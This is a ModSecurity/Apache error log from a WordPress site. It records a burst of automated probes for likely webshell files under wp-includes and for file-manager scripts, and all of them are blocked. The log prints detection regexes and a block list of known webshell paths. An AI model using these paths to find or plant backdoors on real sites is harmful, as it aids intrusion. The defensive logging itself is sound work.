[Wed Apr 15 05:02:31.865774 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.160:26299] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/providers/index.php"] [unique_id "ad6rZx15U5D-N99n_jJnSgAAAMs"]
[Wed Apr 15 05:02:35.768486 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.179:42179] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "ad6rax15U5D-N99n_jJnVwAAAMw"]
[Wed Apr 15 05:02:36.951950 2026] [:error] [pid 4169:tid 4175] [client 45.131.195.169:50563] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/index.php"] [unique_id "ad6rbB15U5D-N99n_jJnWAAAAMM"]
[Wed Apr 15 05:02:42.671669 2026] [:error] [pid 45504:tid 45520] [client 45.131.195.156:47899] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "ad6rcq3iO9_fE_IQEMkSPQAAAQ4"]
[Wed Apr 15 05:02:43.890670 2026] [:error] [pid 45504:tid 45527] [client 45.131.195.169:51693] [client 45.131.195.169] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/fm.php"] [unique_id "ad6rc63iO9_fE_IQEMkSPgAAARU"]
[Wed Apr 15 05:02:52.295687 2026] [:error] [pid 4067:tid 4148] [client 45.131.195.186:40759] [client 45.131.195.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/calendar/index.php"] [unique_id "ad6rfO5XHBJU8ZrRxZ0mjwAAAJE"]
[Wed Apr 15 05:02:55.326444 2026] [proxy_fcgi:error] [pid 4169:tid 4188] [client 45.131.195.144:42783] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:02:57.295690 2026] [:error] [pid 4169:tid 4184] [client 45.131.195.144:42783] [client 45.131.195.144] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/function.php"] [unique_id "ad6rgR15U5D-N99n_jJnjwAAAMw"]
[Wed Apr 15 05:02:58.316529 2026] [:error] [pid 4065:tid 4083] [client 45.131.195.121:28643] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/plugins.php"] [unique_id "ad6rggWArgJTHu2_6Oy6dwAAAAc"]
[Wed Apr 15 05:03:02.662403 2026] [:error] [pid 4067:tid 4138] [client 45.131.195.180:44543] [client 45.131.195.180] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/chosen.php"] [unique_id "ad6rhu5XHBJU8ZrRxZ0mlQAAAIc"]
[Wed Apr 15 05:03:03.835708 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.190:20335] [client 45.131.195.190] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/Diff/Renderer/about.php"] [unique_id "ad6rhx15U5D-N99n_jJnpgAAAM8"]
[Wed Apr 15 05:03:14.346582 2026] [:error] [pid 45504:tid 45529] [client 45.131.195.191:41017] [client 45.131.195.191] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/atomlib.php"] [unique_id "ad6rkq3iO9_fE_IQEMkSZQAAARc"]
[Wed Apr 15 05:03:15.596903 2026] [:error] [pid 4169:tid 4188] [client 45.131.195.125:30849] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/index.php"] [unique_id "ad6rkx15U5D-N99n_jJn0wAAAM8"]
[Wed Apr 15 05:03:22.611929 2026] [:error] [pid 4169:tid 4195] [client 45.131.195.136:52011] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/index.php"] [unique_id "ad6rmh15U5D-N99n_jJn5wAAANQ"]
[Wed Apr 15 05:03:23.775788 2026] [:error] [pid 4169:tid 4176] [client 45.131.195.181:51981] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "ad6rmx15U5D-N99n_jJn7AAAAMQ"]
[Wed Apr 15 05:03:24.993307 2026] [:error] [pid 4065:tid 4099] [client 45.131.195.195:40245] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "ad6rnAWArgJTHu2_6Oy6jgAAABc"]
[Wed Apr 15 05:03:32.241379 2026] [:error] [pid 45504:tid 45523] [client 45.131.195.121:48369] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Exception-wp.php"] [unique_id "ad6rpK3iO9_fE_IQEMkShwAAARE"]
[Wed Apr 15 05:03:35.123301 2026] [:error] [pid 4066:tid 4108] [client 45.131.195.179:41927] [client 45.131.195.179] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/rest-api/autoload_classmap.php"] [unique_id "ad6rp4C2YXfSPsC9O_BaoAAAAEQ"]
[Wed Apr 15 05:03:45.233892 2026] [:error] [pid 4067:tid 4145] [client 45.131.195.124:64441] [client 45.131.195.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/js/wp-login.php"] [unique_id "ad6rse5XHBJU8ZrRxZ0m1AAAAI4"]
[Wed Apr 15 05:03:53.620158 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.124:64441] [client 45.131.195.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/wp-login.php"] [unique_id "ad6rue5XHBJU8ZrRxZ0m6gAAAIE"]
[Wed Apr 15 05:03:56.066192 2026] [:error] [pid 4067:tid 4133] [client 82.223.33.117:38298] [client 82.223.33.117] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.33.117, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "ad6rvO5XHBJU8ZrRxZ0m9wAAAII"]
[Wed Apr 15 05:04:06.478646 2026] [proxy_fcgi:error] [pid 4067:tid 4146] [client 45.131.195.124:64441] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:04:24.004722 2026] [:error] [pid 4067:tid 4153] [client 45.131.195.124:64441] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/about.php"] [unique_id "ad6r2O5XHBJU8ZrRxZ0nPwAAAJY"]
[Wed Apr 15 05:04:29.306831 2026] [:error] [pid 4169:tid 4177] [client 45.131.195.165:64685] [client 45.131.195.165] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/fonts/autoload_classmap.php"] [unique_id "ad6r3R15U5D-N99n_jJoRQAAAMU"]
[Wed Apr 15 05:04:33.405371 2026] [:error] [pid 4169:tid 4189] [client 45.131.195.116:64505] [client 45.131.195.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/css/atomlib.php"] [unique_id "ad6r4R15U5D-N99n_jJoTgAAANA"]
[Wed Apr 15 05:04:45.066061 2026] [:error] [pid 4067:tid 4152] [client 45.131.195.176:24629] [client 45.131.195.176] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sitemaps/autoload_classmap.php"] [unique_id "ad6r7e5XHBJU8ZrRxZ0nYAAAAJU"]
[Wed Apr 15 05:04:49.298797 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.136:61373] [client 45.131.195.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "ad6r8a3iO9_fE_IQEMkTWQAAAQM"]
[Wed Apr 15 05:04:52.230581 2026] [:error] [pid 4066:tid 4104] [client 45.131.195.195:62171] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/index.php"] [unique_id "ad6r9IC2YXfSPsC9O_Ba6wAAAEA"]
[Wed Apr 15 05:04:58.842050 2026] [proxy_fcgi:error] [pid 4066:tid 4114] [client 45.131.195.181:24227] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:04:59.137337 2026] [proxy_fcgi:error] [pid 4066:tid 4121] [client 45.131.195.181:24227] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:04:59.363874 2026] [:error] [pid 4066:tid 4122] [client 45.131.195.181:24227] [client 45.131.195.181] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/images/autoload_classmap.php"] [unique_id "ad6r-4C2YXfSPsC9O_Ba_QAAAFI"]
[Wed Apr 15 05:05:01.256158 2026] [:error] [pid 4065:tid 4094] [client 45.131.195.195:30109] [client 45.131.195.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/ID3/wp-conflg.php"] [unique_id "ad6r_QWArgJTHu2_6Oy65gAAABI"]
[Wed Apr 15 05:05:18.006130 2026] [:error] [pid 45504:tid 45509] [client 45.131.195.124:27805] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/dist/default.php"] [unique_id "ad6sDq3iO9_fE_IQEMkTyAAAAQM"]
[Wed Apr 15 05:05:20.476412 2026] [:error] [pid 4066:tid 4128] [client 45.131.195.160:42559] [client 45.131.195.160] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "rcacivilgroup.com"] [uri "/tiny.php"] [unique_id "ad6sEIC2YXfSPsC9O_BbFQAAAFg"]
[Wed Apr 15 05:05:25.518947 2026] [:error] [pid 45504:tid 45526] [client 45.131.195.131:45179] [client 45.131.195.131] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/sodium_compat/src/index.php"] [unique_id "ad6sFa3iO9_fE_IQEMkT7AAAARQ"]
[Wed Apr 15 05:05:35.220058 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.156:53575] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Parse/about.php"] [unique_id "ad6sH63iO9_fE_IQEMkUEgAAARY"]
[Wed Apr 15 05:05:37.526672 2026] [proxy_fcgi:error] [pid 45504:tid 45511] [client 45.131.195.146:43139] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:05:41.034797 2026] [:error] [pid 45504:tid 45507] [client 45.131.195.146:43139] [client 45.131.195.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Text/wp-conflg.php"] [unique_id "ad6sJa3iO9_fE_IQEMkUIQAAAQE"]
[Wed Apr 15 05:05:48.380438 2026] [proxy_fcgi:error] [pid 45504:tid 45508] [client 45.131.195.120:52717] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:05:50.114177 2026] [:error] [pid 45504:tid 45524] [client 45.131.195.120:52717] [client 45.131.195.120] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.120, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/ocean/wp-login.php"] [unique_id "ad6sLq3iO9_fE_IQEMkURgAAARI"]
[Wed Apr 15 05:05:56.261055 2026] [:error] [pid 45504:tid 45518] [client 45.131.195.120:52717] [client 45.131.195.120] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Cache/upfile.php"] [unique_id "ad6sNK3iO9_fE_IQEMkUWAAAAQw"]
[Wed Apr 15 05:05:59.407324 2026] [:error] [pid 4169:tid 4197] [client 45.131.195.121:56559] [client 45.131.195.121] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/tinymce/plugins/fullscreen/about.php"] [unique_id "ad6sNx15U5D-N99n_jJougAAANY"]
[Wed Apr 15 05:06:04.902323 2026] [:error] [pid 4169:tid 4182] [client 45.131.195.124:45753] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/widgets/class-wp-widget-search-function.php"] [unique_id "ad6sPB15U5D-N99n_jJozQAAAMo"]
[Wed Apr 15 05:06:09.579052 2026] [:error] [pid 4169:tid 4172] [client 45.131.195.125:22611] [client 45.131.195.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/Canonical.php"] [unique_id "ad6sQR15U5D-N99n_jJo4AAAAMA"]
[Wed Apr 15 05:06:10.608660 2026] [:error] [pid 4065:tid 4091] [client 45.131.195.124:20501] [client 45.131.195.124] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/certificates/autoload_classmap.php"] [unique_id "ad6sQgWArgJTHu2_6Oy7HwAAAA8"]
[Wed Apr 15 05:06:16.961130 2026] [:error] [pid 4066:tid 4107] [client 45.131.195.175:28671] [client 45.131.195.175] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-feed-index.php"] [unique_id "ad6sSIC2YXfSPsC9O_BbUAAAAEM"]
[Wed Apr 15 05:06:20.796967 2026] [proxy_fcgi:error] [pid 4067:tid 4154] [client 45.131.195.204:57895] AH01071: Got error 'Primary script unknown'
[Wed Apr 15 05:06:21.041610 2026] [:error] [pid 4067:tid 4132] [client 45.131.195.204:57895] [client 45.131.195.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-section-boolean.php"] [unique_id "ad6sTe5XHBJU8ZrRxZ0n4AAAAIE"]
[Wed Apr 15 05:06:24.072423 2026] [:error] [pid 45504:tid 45528] [client 45.131.195.161:22871] [client 45.131.195.161] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/db.php"] [unique_id "ad6sUK3iO9_fE_IQEMkUhwAAARY"]
[Wed Apr 15 05:06:25.169186 2026] [:error] [pid 4066:tid 4113] [client 45.131.195.150:64097] [client 45.131.195.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/class-wp-dependency-float.php"] [unique_id "ad6sUYC2YXfSPsC9O_BbVwAAAEk"]
[Wed Apr 15 05:06:26.386273 2026] [:error] [pid 4065:tid 4084] [client 45.131.195.130:21991] [client 45.131.195.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/index.php"] [unique_id "ad6sUgWArgJTHu2_6Oy7KwAAAAg"]
[Wed Apr 15 05:06:27.860149 2026] [:error] [pid 45504:tid 45519] [client 45.131.195.141:33603] [client 45.131.195.141] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/PHPMailer/purna.php"] [unique_id "ad6sU63iO9_fE_IQEMkUiQAAAQ0"]
[Wed Apr 15 05:06:28.687458 2026] [:error] [pid 4066:tid 4118] [client 45.131.195.156:50203] [client 45.131.195.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/interactivity-api/interactivity-api-class.php"] [unique_id "ad6sVIC2YXfSPsC9O_BbXAAAAE4"]
[Wed Apr 15 05:06:30.286840 2026] [:error] [pid 45504:tid 45516] [client 45.131.195.129:30735] [client 45.131.195.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/l10n/class-wp-widddget-pages.php"] [unique_id "ad6sVq3iO9_fE_IQEMkUkAAAAQo"]
[Wed Apr 15 05:06:33.811361 2026] [:error] [pid 4169:tid 4183] [client 45.131.195.171:48773] [client 45.131.195.171] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/customize/class-wp-customize-nav-menu-auto-add-control-repository.php"] [unique_id "ad6sWR15U5D-N99n_jJpHwAAAMs"]
[Wed Apr 15 05:06:35.037315 2026] [:error] [pid 4067:tid 4139] [client 45.131.195.119:65237] [client 45.131.195.119] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/assets/script-loader-react-refresh-runtime.min-soap.php"] [unique_id "ad6sW-5XHBJU8ZrRxZ0n8AAAAIg"]
